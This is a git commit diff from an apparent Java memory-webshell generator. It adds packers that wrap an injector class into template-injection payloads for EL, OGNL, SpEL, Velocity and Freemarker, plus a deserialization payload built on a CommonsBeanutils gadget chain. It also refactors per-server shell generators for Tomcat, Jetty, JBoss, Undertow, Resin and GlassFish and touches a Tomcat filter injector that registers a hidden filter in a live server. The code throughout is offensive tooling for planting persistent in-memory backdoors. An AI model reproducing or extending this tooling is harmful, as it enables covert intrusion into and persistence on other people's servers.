feat: support ssti and expression packer

This commit is contained in:
ReaJason
2024-12-14 19:28:13 +08:00
parent 1987142a48
commit 6a5858ab2f
61 changed files with 564 additions and 135 deletions
@@ -1,13 +1,10 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
import com.reajason.javaweb.memsell.jboss.JbossShell;
import com.reajason.javaweb.memsell.jetty.JettyShell;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import com.reajason.javaweb.memsell.undertow.UndertowShell;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
@@ -20,11 +17,6 @@ import java.nio.file.StandardOpenOption;
* @since 2024/11/24
*/
public class GeneratorMain {
static TomcatShell tomcatShell = new TomcatShell();
static JettyShell jettyShell = new JettyShell();
static JbossShell jbossAsShell = new JbossShell();
static UndertowShell undertowShell = new UndertowShell();
static GlassFishShell glassFishShell = new GlassFishShell();
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
@@ -48,23 +40,12 @@ public class GeneratorMain {
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getServer()) {
case TOMCAT:
return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
case JETTY:
return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
case JBOSS:
return jbossAsShell.generate(shellConfig, injectorConfig, shellToolConfig);
case UNDERTOW:
return undertowShell.generate(shellConfig, injectorConfig, shellToolConfig);
case GLASSFISH:
return glassFishShell.generate(shellConfig, injectorConfig, shellToolConfig);
case RESIN:
break;
default:
throw new IllegalArgumentException("Unsupported server");
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server");
}
return null;
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
}
@SneakyThrows
@@ -1,70 +1,87 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
import com.reajason.javaweb.memsell.jboss.JbossShell;
import com.reajason.javaweb.memsell.jetty.JettyShell;
import com.reajason.javaweb.memsell.resin.ResinShell;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import com.reajason.javaweb.memsell.undertow.UndertowShell;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/11/22
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
TOMCAT,
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
JETTY,
Jetty(new JettyShell()),
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBOSS,
JBoss(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
UNDERTOW,
Undertow(new UndertowShell()),
/**
* SpringMVC 框架
*/
SPRING_MVC,
SpringMVC(null),
/**
* Spring Webflux 框架
*/
SPRING_WEBFLUX,
SpringWebflux(null),
/**
* WebSphere 中间件
*/
WEBSPHERE,
WebSphere(null),
/**
* WebLogic 中间件
*/
WEBLOGIC,
WebLogic(null),
/**
* Resin 中间件
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
*/
RESIN,
Resin(new ResinShell()),
/**
* Glassfish 中间件
* GlassFish 中间件
*/
GLASSFISH,
GlassFish(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES,
Bes(null),
/**
* 东方通中间件
*/
TONGWEB,
Tongweb(null),
/**
* 金蝶天燕中间件
*/
APUSIC
Apusic(null),
;
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
}
@@ -53,6 +53,9 @@ public abstract class AbstractShell {
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
@@ -1,31 +1,32 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
@SneakyThrows
public static byte[] serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
return serialize(payload);
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
}
@Override
public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
String payloadType = (String) config.get("payloadType");
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class ELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public ELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public FreemarkerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
}
}
@@ -13,12 +13,22 @@ import java.util.Objects;
*/
public class JspPacker implements Packer {
String jspTemplate = null;
public JspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OgnlPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public OgnlPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
}
}
@@ -26,7 +26,7 @@ public interface Packer {
* @param config 配置
* @return 字节数组
*/
default byte[] pack(GenerateResult generateResult, Map<String, String> config) {
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
throw new UnsupportedOperationException();
}
@@ -47,6 +47,19 @@ public interface Packer {
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
/**
* EL
*/
EL(new ELPacker()),
Ognl(new OgnlPacker()),
SpEL(new SpELPacker()),
Velocity(new VelocityPacker()),
Freemarker(new FreemarkerPacker()),
;
private final Packer packer;
@@ -4,6 +4,7 @@ import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
@@ -12,12 +13,26 @@ import java.util.Objects;
* @since 2024/12/3
*/
public class ScriptEnginePacker implements Packer {
String jsTemplate = null;
public ScriptEnginePacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
return jsTemplate.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str)
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ")
.getBytes();
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public SpELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class VelocityPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public VelocityPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
}
}
@@ -32,7 +32,9 @@ public class TomcatFilterInjector {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
} catch (Exception e) {
System.out.println("filter inject get context error");
e.printStackTrace();
}
}
@@ -213,6 +215,7 @@ public class TomcatFilterInjector {
// 防止重复注入
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
System.out.println("filter alread injected");
return;
}
} catch (Exception ignored) {
@@ -254,7 +257,7 @@ public class TomcatFilterInjector {
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
System.out.println("filter inject success");
constructors[0].setAccessible(true);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);